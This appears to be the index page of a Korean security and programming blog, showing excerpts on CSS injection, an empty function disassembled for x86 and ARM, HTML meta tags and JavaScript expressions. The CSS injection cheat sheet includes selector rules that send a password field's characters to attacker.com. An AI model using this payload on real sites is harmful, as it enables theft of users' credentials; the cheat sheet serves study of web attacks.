p1n9
p1n9 library

전체 글

개발, 해킹, CTF, 알고리즘, 컴퓨터 과학 등 컴퓨터 지식을 같이 공유하고자 만든 블로그입니다!!
Hacking/Cheat Sheet

[Cheat Sheet] CSS Injection

CSS Injection HTML 삽입 미리보기할 수 없는 소스 Sequential Importing Chaining HTML 삽입 미리보기할 수 없는 소스 CSS 선택자를 이용하여 HTML 태그 내의 value값을 받아올 수 있다. input[name=password][value^=a]{ background: url('https://attacker.com/a'); } input[name=password][value^=b]{ background: url('https://attacker.com/b'); } /* ... */ input[name=password][value^=9]{ background: url('https://attacker.com/9'); } URL HTML 삽입 미리보기할 수 없는 소스 ..

CTF/Web

[GON CTF] ColorfulMemo

보호되어 있는 글입니다.

Hacking/Reversing

[Reversing] 빈 함수

빈 함수 HTML 삽입 미리보기할 수 없는 소스 void f() { return; } X86 HTML 삽입 미리보기할 수 없는 소스 GCC f(): push rbp mov rbp, rsp nop pop rbp ret MVSC void f(void) PROC ; f push ebp mov ebp, esp pop ebp ret 0 void f(void) ENDP ; f RET : pop rip 명령어와 동일, 스택에 함수 복귀 주소를 저장 후 ret을 만나면 pop rip를 하면서 복귀 ARM HTML 삽입 미리보기할 수 없는 소스 f(): push {r7} add r7, sp, #0 nop mov sp, r7 ldr r7, [sp], #4 #Strack Frame bx lr BX LR(서브 루틴 복귀) :..

Programming/HTML

[HTML] 메타 데이터

메타 데이터 HTML 삽입 미리보기할 수 없는 소스 HTML 삽입 미리보기할 수 없는 소스 메타 태그는 웹사이트의 추가적인 정보를 명시해주는 태그이다. 태그 안에 위치하여있으며 빈 태그(내용이 없음)이다. 속성 속성 설명 charset , 인코딩 방식을 지정 http-equiv , HTTP header의 이름을 값으로 가질 수 있음 name , 메타 데이터의 정보를 정의 https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta

Programming/Javascript

[Javascript] Expression, Statement

Expression , Statement HTML 삽입 미리보기할 수 없는 소스 Expression HTML 삽입 미리보기할 수 없는 소스 Expression은 값이 될 수 있는 것들을 의미한다. '5' , 5 , true , "Hello" , 5+4+3+2와 같이 값이 될 수 있는 것들은 모두 Expression(표현식)이라고 한다. Statement HTML 삽입 미리보기할 수 없는 소스 Statement는 하나의 문장을 의미한다. Expression도 Statement의 일부이다. 반복문, 조건문도 Statement이다. let variable = "Hello"; ❗ 저작권 및 참고 더보기 https://icons8.com/icon/TZ69zUw6d3Lu/right Right icon in Flat..